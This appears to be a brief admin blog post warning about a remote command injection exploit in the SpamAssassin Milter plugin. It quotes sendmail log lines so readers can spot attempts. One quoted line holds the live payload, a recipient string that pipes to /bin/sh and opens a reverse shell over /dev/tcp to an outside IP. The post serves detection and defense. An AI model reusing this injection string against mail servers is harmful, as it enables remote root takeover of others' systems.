Vulnerability in Spamassassin milter plugin

Owners of sendmail/postfix with the Spamassassin Milter plugin, watch out! Exploit is in the wild:
Spamassassin Milter Plugin Remote Root,
SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability,
ET EXPLOIT Possible SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt.

Check your logs for mail like this:

Feb 13 20:31:55 host sm-mta[21734]: p1DHVtxv021734: from=blue@dick.com, size=0, class=0, nrcpts=0, proto=SMTP, daemon=MTA-v4, relay=eluxenia.com [62.149.195.3]

If the system is not vulnerable, sendmail would reply with:

Feb 13 20:31:55 host sm-mta[21734]: p1DHVtxv021734: root+:"|exec /bin/sh 0</dev/tcp/87.106.250.176/45295 1>&0 2>&0"... Cannot mail directly to programs

At least, this is what my sendmail reported.